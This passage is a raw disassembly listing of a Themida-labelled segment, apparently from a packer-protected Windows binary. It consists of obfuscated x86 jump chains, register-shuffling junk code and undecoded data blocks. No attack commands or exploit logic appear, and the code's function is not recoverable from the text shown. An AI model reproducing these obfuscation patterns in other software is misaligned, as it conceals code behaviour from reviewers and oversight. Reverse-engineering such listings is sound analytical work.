5F39B625h, 0F518E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C766: ; CODE XREF: Themida_:005963A7j mov bl, cl pop ecx pop eax sub al, 0C6h add al, 64h jmp loc_596FF7 ; --------------------------------------------------------------------------- db 5Bh dd 2C681h, 34330000h, 24343124h, 5C243433h, 9C240CD2h dd 0FF9F00E9h, 9BE381FFh, 81560B57h, 0B3274CF3h, 6FBAE91Eh dd 0E9560000h, 0FFFF5C07h dword_59C7A4 dd 8904EC83h, 0BD552414h, 3CF84CBCh, 0E581D5F7h, 52087504h ; DATA XREF: Themida_:005908D8o dd 46B3E581h, 0F5814D60h, 41D54733h, 60E7E9h db 0 ; --------------------------------------------------------------------------- loc_59C7C9: ; CODE XREF: Themida_:0059E00Fj xchg esi, [esp] jmp loc_5A2E2B ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 1568h, 4C4CE900h, 0A7B90000h, 9487144h, 732D59C8h, 561B110h dd 1A5ADB2Eh, 0F701E883h, 4C64E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C7FA: ; CODE XREF: Themida_:005A4ED3j mov [esp], ebx push eax mov eax, 743B10ECh mov ebx, 2F303254h xor ebx, eax jmp loc_59D16D ; --------------------------------------------------------------------------- loc_59C80F: ; CODE XREF: Themida_:005A328Dj xor edi, 13EF6BFAh add eax, edi pop edi jmp loc_592D33 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FF96B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C825: ; CODE XREF: Themida_:00591CAEj sub edx, 7EF756B1h add edx, 9A5B52h push ecx mov ecx, 0 add ecx, 15254483h jmp loc_5A56AC ; --------------------------------------------------------------------------- dw 0EEC1h dd 0E9DEF702h, 0FFFF4BAAh, 8106EEC1h, 0BC3A4BC6h, 70F68132h dd 810B8407h, 0E8785CF6h, 0A5EE8172h, 293995AFh, 34FF5EF0h dd 904CE924h, 0FF590000h, 0E9582434h, 0FFFFA66Fh, 0EF81D701h dd 3A1C7A5Bh, 0E924148Bh, 0FFFFA48Ch, 0C781E789h, 4, 0FFDD67E9h dd 0AEBD55FFh, 0E934BB40h, 0FFFFB8AFh, 2793E953h, 14890000h dd 0B4ECE924h, 0F581FFFFh, 394E26E7h, 10B2E581h, 814D4983h dd 3850D3E5h, 0BAC58133h, 11C095Ah, 0C7015DEFh, 5B0DEF81h dd 0D9E91D09h, 51000034h, 4B9h, 8BCE8900h, 0C483240Ch dd 90C78104h, 15B5374h, 90EF81F7h, 0FF5B5374h, 535E2434h dd 0C381E389h, 4, 8704C383h, 505C241Ch, 2B8h, 0BDC78100h dd 0E900623Ch, 89DFh, 43BFE981h, 5E514968h, 24048B59h dd 4C481h, 15F0000h, 2434FFF0h, 4C4835Eh, 228E68h, 24348900h dd 324A27BEh, 2CE8110h, 816DE924h, 1F6DBEEEh, 67C6E91Ch dd 248B0000h, 0F653E924h, 0C731FFFFh, 8324048Bh, 0EE8104C4h dd 36A96634h, 0B850FE29h, 453256CCh, 0FF7119E9h, 241C87FFh dd 2404285Ch, 4115E99Ch, 10E9FFFFh db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C98B: ; CODE XREF: Themida_:00594FE2j sub eax, 0E038A860h push ecx jmp loc_5A42B9 ; --------------------------------------------------------------------------- loc_59C996: ; CODE XREF: Themida_:0059728Fj not dword ptr [esp] push dword ptr [esp] jmp loc_5992DB ; --------------------------------------------------------------------------- loc_59C9A1: ; CODE XREF: Themida_:00593633j sub ah, 0A9h sub cl, 0CCh sub cl, ah add cl, 0CCh pop eax push eax jmp loc_596F59 ; --------------------------------------------------------------------------- db 58h dd 11668h, 243C8900h, 0C4242C81h, 5B3DB439h, 0FF5E00E9h dd 243C33FFh, 6624248Bh, 0E9240489h, 0FFFF40C3h ; --------------------------------------------------------------------------- loc_59C9D8: ; CODE XREF: Themida_:005998BEj add esi, 1 xor edi, esi xor esi, edi xor edi, esi jmp loc_59C0A3 ; --------------------------------------------------------------------------- byte_59C9E9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00590978o dd 6659669Dh, 9C2414D3h, 0FF40A2E9h, 0C3815FFFh, 17D21C0Eh dd 7C3DC381h, 0C301790Fh, 7C3DEB81h, 0EB81790Fh, 17D21C0Eh dd 0E9525158h, 0FFFFBC28h, 5B79C281h, 0F28153FAh, 0F25BD404h dd 4EC81h, 3C890000h, 15B3BF24h, 0FE017D59h, 0A9C6815Fh dd 16C2234h, 0A9EE81D6h, 0E96C2234h, 0FFFF8B57h ; --------------------------------------------------------------------------- loc_59CA4C: ; CODE XREF: Themida_:00597A25j pop edx push ebx mov ebx, 18060B0Fh add ecx, ebx mov ebx, [esp] push ecx jmp loc_592FBC ; --------------------------------------------------------------------------- dw 5D5Fh dd 8B240C87h, 2C892424h, 81E58924h, 4C5h, 0BA525300h, 1F997701h dd 0E95AD389h, 0FFFF4758h, 0E9240489h, 0FFFF4013h, 0E904C583h dd 0FFFFEBFFh, 0D5176F0Dh, 0D0F74075h, 0D0F7D8F7h, 8C08A2Dh dd 0E9C60188h, 615Eh, 81242489h, 42404h, 505F0000h, 0BEBE9h db 0 ; --------------------------------------------------------------------------- loc_59CAB9: ; CODE XREF: Themida_:00597323j push eax push 0D196C28h jmp loc_59BCE1 ; --------------------------------------------------------------------------- dd 0E9D1F791h, 0FFFFF89Ah dword_59CACC dd 8B2434FFh, 0C4832404h, 89575304h, 4C781E7h, 0E9000000h ; DATA XREF: Themida_:00590930o dd 0FFFF5B1Ah ; --------------------------------------------------------------------------- loc_59CAE4: ; CODE XREF: Themida_:00597193j or eax, 79C87446h add eax, 1408B5h add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp loc_59CAFB: ; CODE XREF: Themida_:00597B7Dj ; Themida_:005A25D0j sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx pop edx push edx sub dword ptr [esp], 0B25344Ah push dword ptr [esp] pop eax jmp loc_5A4503 ; --------------------------------------------------------------------------- dd 8159CF31h, 111F27C1h, 0E9F92929h, 0FFFF7D4Dh, 4BA525Dh dd 1000000h, 0E9535AD5h, 10A8h, 68242C89h, 4B5E6795h, 0BAB6E95Dh dd 0D5F7FFFFh, 0FF589AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59CB51: ; CODE XREF: Themida_:00598FF2j mov ebp, [esp] add esp, 4 or eax, 59707A8Ah sub eax, 5A3E7B80h jmp loc_59492F ; --------------------------------------------------------------------------- dw 815Bh dd 4C4h, 240C8700h, 3124248Bh, 31C231D0h, 0E71FE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CB7E: ; CODE XREF: Themida_:005A59EFj mov ebx, [esp] add esp, 4 jmp loc_5A1FD9 ; --------------------------------------------------------------------------- loc_59CB89: ; CODE XREF: Themida_:00594545j pop ecx jmp loc_5A22ED ; --------------------------------------------------------------------------- db 81h dd 3386BBC6h, 5EF30185h, 34FFD901h, 0FFC4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CBA2: ; CODE XREF: Themida_:005A2B2Aj or edx, 5E452D40h xor edx, 59C53818h jmp loc_5956B6 ; --------------------------------------------------------------------------- db 66h dd 0E9CFFE59h, 0FFFF66A2h, 5501C383h, 4911A2BDh, 0E2C381E4h dd 29565947h, 0E2EB81EBh, 0E9565947h, 344Ch ; --------------------------------------------------------------------------- loc_59CBD8: ; CODE XREF: Themida_:0059151Fj mov eax, [esp] jmp loc_596895 ; --------------------------------------------------------------------------- loc_59CBE0: ; CODE XREF: Themida_:00599848j add edi, eax pop eax jmp loc_5A3155 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_598B8C ; --------------------------------------------------------------------------- loc_59CC03: ; CODE XREF: Themida_:0059D8D1j mov eax, 139763F8h jmp loc_59B0CA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E907EFC1h, 0FFFFF1F6h, 52FCCD81h, 0C5814E28h, 56327A03h dd 15DEF89h, 7BE95AD7h, 83FFFFEDh, 0C30104C4h, 0FF847DE9h dd 71E05FFh, 852D2243h, 17F4600h, 8505E8h, 0E9527F46h dd 0FFFFC0D1h, 5E2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5A2226 ; --------------------------------------------------------------------------- dd 2032C581h, 0ED8172D8h, 8DFE730Ch, 0E95DEE89h, 1580h dd 2434895Ch, 79BF5750h, 814F7958h, 0EE709ACFh, 3EFC162h dd 0CF81D7F7h, 5F1C11BDh, 1959C781h, 0F88957EEh, 2E8C15Fh dd 91B85055h, 0BD55103Ch, 582731C2h, 0E958C531h, 0FFFFCD2Eh dd 8324048Bh, 7CE904C4h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CCC3: ; CODE XREF: Themida_:0059639Cj mov eax, 1F9214Eh add esi, eax pop eax jmp loc_59E000 ; --------------------------------------------------------------------------- dd 4C2815Ah, 83000000h, 148704EAh, 34895C24h, 38CEBE24h dd 7CE92BD2h, 6600008Ah, 665F5BBDh, 6602EDC1h, 6605EDC1h dd 8166DDF7h, 0E93E52CDh, 0FFFFC5ACh, 124248Bh, 74BA52EEh dd 812B414Eh, 0F94ABAEEh, 0E9D60149h, 0FFFF800Ah, 981AC781h dd 0F8015866h, 83243C8Bh, 0C68104C4h, 79314487h, 0C01EE81h dd 0C6010AE2h, 0C01C681h, 0EE810AE2h, 79314487h, 2C68158h dd 33000000h, 34312434h, 8BB1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CD56: ; CODE XREF: Themida_:00598B90j pop ebp pop dword ptr [esp] pop esp sub eax, 27887610h add eax, ebp jmp loc_5A4EFB ; --------------------------------------------------------------------------- aIHV db '‰<$h',27h,'V',0 dw 8300h dd 248904ECh, 4BD5524h, 0E9000000h, 4785h ; --------------------------------------------------------------------------- loc_59CD80: ; CODE XREF: Themida_:005A0195j mov ebp, [esp] push edx mov edx, esp push eax mov eax, 4 jmp loc_599D3A ; --------------------------------------------------------------------------- aSV_0 db '(Ëé\V',0 align 4 loc_59CD98: ; CODE XREF: Themida_:005A34F1j mov [esp], ecx jmp loc_59A608 ; --------------------------------------------------------------------------- loc_59CDA0: ; CODE XREF: Themida_:005A2EEBj mov ecx, 2C292C96h push ebx mov ebx, 0CBE07A1h jmp loc_59DCF6 ; --------------------------------------------------------------------------- dd 6824048Fh, 5D6Eh, 0FFA771E9h, 47F280FFh, 7BEA80h, 6114E9D3h dd 0C181FFFFh, 50D675C1h, 8105E9C1h, 9D2C9FF1h, 8BCD294Eh dd 0C483240Ch, 15EE8104h, 16C9305h, 36D2E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59CDEE: ; CODE XREF: Themida_:005969B1j pop edi jmp loc_5A32DC ; --------------------------------------------------------------------------- dd 3CF1815Ah, 811AC71Ah, 0CC217CC7h, 68CF2968h, 2CFFh dd 0BE243489h, 20341A93h, 0F917EE81h, 0C781B767h, 7B106ECCh dd 0FFD200E9h, 0D7EE81FFh, 0F758417Bh, 53EE81D6h, 2970F468h dd 0B8505EF0h, 4B6802E9h, 6658070Dh, 2F390503h, 3F3566D0h dd 1A1E4EBh, 0F2E958C7h, 89000087h, 0C0E9242Ch, 83FFFFBBh dd 2C8904ECh, 26824h, 515D0000h, 0D43AFAB9h, 0C8C98164h dd 811A692Ch, 1E322EC1h, 0E9CA01D8h, 0FFFFAEECh ; --------------------------------------------------------------------------- loc_59CE7C: ; CODE XREF: Themida_:005956E4j mov edx, [esp] add esp, 4 add edi, edx sub edi, 28F50733h pop edx sub edi, 4573456Ah add edi, ecx jmp loc_5A1942 ; --------------------------------------------------------------------------- loc_59CE98: ; CODE XREF: Themida_:0059C754j mov [esp], esp jmp loc_592967 ; --------------------------------------------------------------------------- loc_59CEA0: ; CODE XREF: Themida_:005A401Fj push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], eax jmp loc_5A10F7 ; --------------------------------------------------------------------------- dd 0C127F6BDh, 0F2ED8124h, 0E924C127h, 2FEFh ; --------------------------------------------------------------------------- loc_59CEC8: ; CODE XREF: Themida_:00593339j pop edi mov edx, 5C8C13CBh xor edx, eax mov eax, [esp] add esp, 4 jmp loc_59997D ; --------------------------------------------------------------------------- dw 0C581h dd 2, 0E9242C33h, 0FFFF8505h, 0E9243C8Bh, 0FFFFB2AEh, 0BF575954h dd 4, 8CA6E9h, 24148900h, 0FFDE8AE9h, 4C483FFh, 4C681h dd 57510000h, 7B70ED68h, 6BE95F2Ch, 0C000004Eh, 0C68003E6h dd 5AF0281Ah, 0FFEF0BE9h, 24248BFFh, 0E924048Fh, 0FFFF3B63h dd 8C65E953h, 0C281FFFFh, 4, 4B951h, 68E90000h, 56FFFFB6h dd 8C48A7BEh, 81EED125h, 0F40EC5EEh, 0C1D6F779h, 0F68106EEh dd 1ECAAE77h, 5B5EF729h, 4C781h, 3C870000h, 0C3305C24h dd 4D82E9h, 4C48300h, 6F3E951h, 248B0000h, 1187E924h, 34870000h dd 23E95C24h, 1FFFFE8h, 5F04247Ch, 0FF4372E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CFA1: ; CODE XREF: Themida_:005A29ABj xchg ebx, [esp] pop esp pop ebx xchg ecx, ebx not ecx jmp loc_59229B ; --------------------------------------------------------------------------- db 5Fh dd 0F381D3F7h, 0ED81F4CCh, 24348153h, 44A6106Dh, 6DF5815Dh dd 5B44A610h, 4246C01h, 0E9242C8Bh, 0FFFFDDE0h ; --------------------------------------------------------------------------- loc_59CFD4: ; CODE XREF: Themida_:00593BA4j sub esp, 4 jmp loc_5945F6 ; --------------------------------------------------------------------------- dd 24048759h, 6624248Bh, 5624048Bh, 0EBE95E54h, 0C1FFFFCDh dd 0FF2D08E0h, 2921892Fh, 0D14358C3h, 4ABD55E3h, 810BBD02h dd 0A50E00EDh, 0E9E5816Eh, 0E9097730h, 0FFFF5771h ; --------------------------------------------------------------------------- loc_59D014: ; CODE XREF: Themida_:00599978j shr ebx, 6 add ebx, 0FEBE1F1Eh jmp loc_5A2FD0 ; --------------------------------------------------------------------------- aRRaGqpskl db 'R²R€êgQPéKl',0 db 0 ; --------------------------------------------------------------------------- loc_59D02F: ; CODE XREF: Themida_:0059D9EBj sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_5A16A9 ; --------------------------------------------------------------------------- db 57h, 0E9h, 0E3h dd 81FFFF42h, 0AAA35AC3h, 5BDE890Ah, 348BF031h, 4C48324h dd 5E0FE955h, 0EE810000h, 818AA519h, 348BF789h, 0E1895124h dd 4C181h, 55560000h, 0FF889AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D075: ; CODE XREF: Themida_:00592CCBj push cx push ax mov al, dh mov dh, [esp+3] mov [esp+3], al pop ax xor dh, ah jmp loc_5A3F83 ; --------------------------------------------------------------------------- loc_59D08C: ; CODE XREF: Themida_:00596420j pop esi add esp, 4 xor ecx, [esp] jmp loc_594B95 ; --------------------------------------------------------------------------- loc_59D09B: ; CODE XREF: Themida_:0059C430j add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_59B191 ; --------------------------------------------------------------------------- db 81h dd 0BA3997F6h, 2EBAE97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D0BA: ; CODE XREF: Themida_:005A2671j dec eax or eax, 2E8E1F72h inc eax add eax, 0D461148Ch mov ebx, eax pop eax not ebx jmp loc_59A78F ; --------------------------------------------------------------------------- loc_59D0D0: ; CODE XREF: Themida_:00594341j mov ebx, [esp] jmp loc_5A033A ; --------------------------------------------------------------------------- dd 2E2E3CBEh, 0F58CB825h, 0F0013F62h, 0FF782BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D0E9: ; CODE XREF: Themida_:00596F93j shr edx, 1 jmp loc_5A5824 ; --------------------------------------------------------------------------- loc_59D0F0: ; CODE XREF: Themida_:00599889j mov [esp], ecx jmp loc_59917C ; --------------------------------------------------------------------------- dd 0E1C0D1F6h, 23F18005h, 0E963EB80h, 0FFFF6165h ; --------------------------------------------------------------------------- loc_59D108: ; CODE XREF: Themida_:005A0654j mov eax, [esp] add esp, 4 push 6A11h mov [esp], ebx sub dword ptr [esp], 12AC71C2h jmp loc_5975BB ; --------------------------------------------------------------------------- dw 3489h dd 0E2C2E924h, 0D729FFFFh, 5FF8895Ah, 0C558D92Dh, 2713567h dd 0F70500AFh, 126DAF6h, 0BA5258C1h, 21AA5CDFh, 5430BE56h dd 0DEF77FF9h, 78B5F681h, 0F6814FA1h, 3CB82F1Dh, 44EE8146h dd 21C79CD0h, 24348BF2h, 0FF3FD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D16D: ; CODE XREF: Themida_:0059C80Aj pop eax add ebx, 70C17008h neg ebx jmp loc_593A80 ; --------------------------------------------------------------------------- db 81h dd 4CB76EC7h, 44E1E9B3h, 0C4FEFFFFh, 0E905ECC0h, 0FFFFBBDDh dd 83240C8Bh, 6DE904C4h, 29000081h, 6C88E9C3h, 0EA810000h dd 5515ADFh, 2C28358h, 8B241487h, 53662424h, 7BEA68h, 0C9B9E900h dd 0F301FFFFh, 8124348Bh, 4C4h, 6E76800h, 34890000h, 2BF5724h dd 0E93A2408h, 0FFFFC475h dword_59D1DC dd 0DCC7E9ACh, 0D9BBFFFFh, 0E96E5475h, 0FFFFFE57h ; DATA XREF: Themida_:005908A0o ; --------------------------------------------------------------------------- loc_59D1EC: ; CODE XREF: Themida_:0059271Cj push eax mov al, 0F8h inc al jmp loc_5A4F1B ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF9D69h, 5B55BB53h, 80E947B2h, 47FFFF7Dh, 0FFBF64E9h dd 0B95150FFh, 11DE5AADh, 0DE5AA9B8h, 8203E911h, 0B050FFFFh dd 2E0C0B8h, 17E9DA24h, 0BEFFFF44h, 29AD5A9Ch, 565EF289h dd 0FFB4AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_59D239: ; CODE XREF: Themida_:005A0D24j push esi not dword ptr [esp] pop esi jmp loc_593DB5 ; --------------------------------------------------------------------------- db 5Fh dd 34FFFA31h, 0E301E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D24E: ; CODE XREF: Themida_:0059966Bj pop ebx add esi, 5EDB3F25h jmp loc_59B41B ; --------------------------------------------------------------------------- loc_59D25A: ; CODE XREF: Themida_:00599B5Ej push edx mov edx, 37416B39h jmp loc_59D8A8 ; --------------------------------------------------------------------------- loc_59D265: ; CODE XREF: Themida_:005A090Fj add esi, edx jmp loc_595689 ; --------------------------------------------------------------------------- loc_59D26C: ; CODE XREF: Themida_:0059DB57j shl eax, 4 jmp loc_598BFB ; --------------------------------------------------------------------------- dd 0E958C529h, 0FFFF6720h, 6638C380h, 6824148Bh, 151h dd 0FF91E9E9h, 24148BFFh, 4C481h, 0E9550000h, 181Ch, 4BB53h dd 0D9010000h, 6D8BE95Bh, 0C3300000h, 0FFC0B60Fh, 34FF8734h dd 2434FF24h, 5A545258h, 4EC81h, 3C890000h, 5BDDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D2CA: ; CODE XREF: Themida_:0059F6DCj mov ecx, esp add ecx, 4 jmp loc_5924F8 ; --------------------------------------------------------------------------- db 0C1h dd 0EC8102E2h, 4, 0E9240489h, 0FFFFA060h, 5B9CE95Ah, 248B0000h dd 0C83B6624h, 37A1E99Ch, 489FFFFh, 24048124h, 7EF979BEh dd 0BEBB535Ah, 837EF979h, 0DEE904ECh, 0BEFFFF4Fh, 4963018Dh dd 0EC1E681h, 21E93D7Ch, 1FFFFB2h, 0C875AD1h, 71C4E924h dd 5E680000h, 89000057h, 5A542414h, 4EC81h, 0C890000h dd 237CB924h, 0E1C1627Bh, 0CCE18106h, 811EEB7Fh, 5E34A8F1h dd 82E9553Fh db 5Ah, 2 dup(0FFh) byte_59D35B db 0FFh ; DATA XREF: Themida_:00590918o dd 589D1C77h, 9C240411h, 0FF3732E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D369: ; CODE XREF: Themida_:00591A24j mov ecx, 4A3301D7h sub eax, 6ECA5173h sub eax, ecx jmp loc_5A0A7E ; --------------------------------------------------------------------------- dw 1487h dd 0A6E95C24h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D383: ; CODE XREF: Themida_:005A2ED8j add esp, 4 and eax, edi jmp loc_5A00D8 ; --------------------------------------------------------------------------- loc_59D390: ; CODE XREF: Themida_:0059F00Dj add eax, 4 add eax, 4 xchg eax, [esp] pop esp mul ecx jmp loc_599E8C ; --------------------------------------------------------------------------- db 80h dd 0EF28B2F5h, 82E95259h, 0E900000Fh, 0FFFF36E7h, 4452EF81h dd 0F829C46Eh, 2812E95Fh, 0C2290000h, 0D8C28158h, 81046302h dd 2A76BEEAh, 24048B5Fh, 0FF972BE9h, 0E9FB01FFh, 0FFFF49E7h dd 9C240CD3h, 0FF36B2E9h, 885053FFh, 58E788D4h, 424548Ah dd 0FFDC26E9h, 48F5BFFh, 24248B24h, 12B45058h, 800AB753h dd 0FC08B1EFh, 0A3C0E95Bh, 885CFFFFh, 80E95A02h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D41B: ; CODE XREF: Themida_:00599D3Dj add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push edx push esp mov edx, [esp] add esp, 4 push eax push ebx push 65CB1342h pop ebx sub ebx, 67BA4A27h add ebx, 1A554B95h sub ebx, 186614ACh mov eax, ebx pop ebx add edx, 463D0EFDh add edx, eax sub edx, 463D0EFDh pop eax push eax mov eax, 4 add edx, eax mov eax, [esp] jmp loc_594154 ; --------------------------------------------------------------------------- db 5Ch dd 240C8B66h, 0FF8343E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D479: ; CODE XREF: Themida_:005A464Fj pop eax sub esi, edi pop edi add esi, eax add esi, 3D5F5AB1h mov eax, [esp] push ecx mov ecx, esp jmp loc_5A5685 ; --------------------------------------------------------------------------- dd 4C281h, 0C2830000h, 7F11E904h, 34FFFFFFh, 4C7EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59D4A6: ; CODE XREF: Themida_:0059385Ej mov ebp, 4 add esi, ebp mov ebp, [esp] push ecx jmp loc_59FC24 ; --------------------------------------------------------------------------- loc_59D4B6: ; CODE XREF: Themida_:005A1057j mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_59D9F0 ; --------------------------------------------------------------------------- db 5Bh dd 4244401h, 8324048Bh, 1C8B04C4h, 4C48324h, 7B04BD55h dd 0EB817B0Eh, 1B5783Ah, 68CDE9h db 0 ; --------------------------------------------------------------------------- loc_59D4ED: ; CODE XREF: Themida_:005917ADj push edi push esp pop edi jmp loc_59FA27 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 25CBE9h db 0 ; --------------------------------------------------------------------------- loc_59D4FD: ; CODE XREF: Themida_:0059DE0Bj sub dl, 0ADh add bl, dl mov edx, [esp] add esp, 4 add al, bl pop ebx sub al, 0B4h jmp loc_5A1CDD ; --------------------------------------------------------------------------- loc_59D512: ; CODE XREF: Themida_:00595BE7j add ebx, 4 xor ebx, [esp] jmp loc_59D757 ; --------------------------------------------------------------------------- loc_59D51D: ; CODE XREF: Themida_:005A5429j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5A2524 ; --------------------------------------------------------------------------- aFyst db 'fYé’*',0 align 4 aCss db '²Cé‘:',0 dw 3100h dd 808BE9DDh, 0D829FFFFh, 83241C8Bh, 8B2D04C4h, 170B966h dd 0D58EE9D0h, 0DBF7FFFFh, 8106E3C1h, 840B27F3h, 5BD83172h dd 70CB6852h, 3C890000h, 4BFFBF24h, 33BA0254h, 16B95D9h dd 5640E9FAh, 0B9510000h, 7762429Bh, 0FFEE35E9h, 4C581FFh dd 55000000h, 3C81E9h, 51C72900h, 0FFD360E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D5A5: ; CODE XREF: Themida_:005A41DFj mov [esp], ebx mov ebx, esp push 1761h mov [esp], edx mov edx, 4 push edi jmp loc_59B9B4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h aSsw db '$é˜w',0 align 2 dw 0BCBBh dd 0D1058C06h, 8EBC1EBh, 0B951h, 0D9290000h, 0ADE95153h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D5DF: ; CODE XREF: Themida_:00598AE5j sub edi, eax pop eax push edx mov edx, 2AB14F3Eh inc edx jmp loc_5A2B6F ; --------------------------------------------------------------------------- loc_59D5EE: ; CODE XREF: Themida_:005A1C5Aj inc ecx xchg eax, ecx xchg eax, edi not edi xchg eax, edi xchg eax, ecx xchg eax, ecx not eax push ecx push eax pop ecx pop eax push 608Dh mov [esp], ecx not dword ptr [esp] mov ecx, [esp] push edi jmp loc_5943A1 ; --------------------------------------------------------------------------- dd 7E4F6BBAh, 0E9DAF72Ah, 48F3h, 815BDF01h, 0DA9942F7h dd 0CE35E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D62A: ; CODE XREF: Themida_:005A4F22j pop edx or dl, bl pop ebx jmp loc_5920D5 ; --------------------------------------------------------------------------- loc_59D633: ; CODE XREF: Themida_:0059853Fj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx push 0E7B3228h pop edx sub ebx, 3697804h add ebx, edx add ebx, 3697804h mov edx, [esp] push ecx jmp loc_59D8B8 ; --------------------------------------------------------------------------- dd 54242C89h, 0BA3AE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D66E: ; CODE XREF: Themida_:00592CF7j mov ebp, 0C81931DEh push ebx jmp loc_59E28F ; --------------------------------------------------------------------------- db 0B9h, 81h, 2Fh dd 0CD2977D2h, 0FFE845E9h db 0FFh ; --------------------------------------------------------------------------- loc_59D685: ; CODE XREF: Themida_:00597960j mov [esp], esp add dword ptr [esp], 4 jmp loc_5A2640 ; --------------------------------------------------------------------------- loc_59D694: ; CODE XREF: Themida_:0059ABD5j add eax, 4 push ebx mov ebx, 4 jmp loc_5A0D78 ; --------------------------------------------------------------------------- dd 661EEEB8h, 0B5E95122h, 81FFFF99h, 4C4h, 487EE900h, 0DCE90000h dd 66FFFF33h, 83C30058h, 148904ECh, 0B2525124h, 0D5E280A2h dd 0E942CA80h, 0FFFF7434h ; --------------------------------------------------------------------------- loc_59D6D8: ; CODE XREF: Themida_:00590B20j mov ecx, 4 add ebp, ecx jmp loc_5A04AA ; --------------------------------------------------------------------------- aI4Ich db '‰4$‰æh',27h,'{',0 align 2 dw 1C89h dd 48136824h, 815B427Ch, 0AB56C3CBh, 8E3C179h, 5593CB81h dd 0BE565539h, 7C036BE2h, 0F53EEE81h, 0F3016689h, 0CDC3815Eh dd 0E9EB06B1h, 0FFFFDC7Ch ; --------------------------------------------------------------------------- loc_59D720: ; CODE XREF: Themida_:0059DA45j mov [esp], ecx push edx mov dh, 79h mov cl, 42h jmp loc_592196 ; --------------------------------------------------------------------------- db 28h, 0FEh, 8Bh dd 0C483241Ch, 28F72C04h, 5AF704F0h, 0AC04C828h, 0FF6A27E9h dd 243C33FFh, 33243C31h, 0FF5C243Ch, 0B0E92434h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59D757: ; CODE XREF: Themida_:0059D518j xor [esp], ebx jmp loc_5A359C ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 24148B00h, 4C481h, 6D680000h, 89000076h dd 2168242Ch, 0E9000025h, 10EEh, 16E9CE81h, 0BB5372A6h dd 46155F78h, 0A172C381h, 0DE31FFA9h, 5EF2295Bh, 0BE56EA01h dd 517B25B4h, 13A7F681h, 0F2016322h, 0FF810AE9h db 0FFh byte_59D7B1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00590900o aHmm db '$hŒM',0 align 2 dw 489h dd 4EC8324h, 83242489h, 0FF042404h, 81582434h, 4ECh, 3158E900h dd 56580000h, 1688E9h, 0BC28100h, 2976AE3Fh, 0BEA81EAh dd 5D76AE3Fh, 24148759h, 0FEEEE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D7F6: ; CODE XREF: Themida_:0059DC99j push esi mov esi, 460509C9h dec esi sub esi, 1E36031Bh or eax, esi pop esi shr eax, 7 push 258Ch jmp loc_594475 ; --------------------------------------------------------------------------- db 66h dd 74E9F789h, 54FFFF37h, 2F11E95Fh, 0CE860000h, 0FE7CC680h dd 54CEE9CEh, 0BB53FFFFh, 21B77574h, 5866E381h, 0E94B6CB9h dd 0FFFF36DCh ; --------------------------------------------------------------------------- loc_59D840: ; CODE XREF: Themida_:0059437Fj pop ebp add [esp+8], ebp mov ebp, [esp] push edx push esp pop edx add edx, 4 jmp loc_597742 ; --------------------------------------------------------------------------- loc_59D856: ; CODE XREF: Themida_:005938F0j pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_595CE2 ; --------------------------------------------------------------------------- db 57h, 0BFh, 1Bh dd 813D1F3Dh, 0C13732C7h, 0E9F92913h, 0FFFFDBD2h ; --------------------------------------------------------------------------- loc_59D878: ; CODE XREF: Themida_:005A04BBj pop esi add esi, 20A273ACh pop edi and ecx, esi mov esi, [esp] jmp loc_5954D4 ; --------------------------------------------------------------------------- dw 0C483h dd 5CBAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59D892: ; CODE XREF: Themida_:005956B1j sub ebx, 0E16CE663h jmp loc_5912BB ; 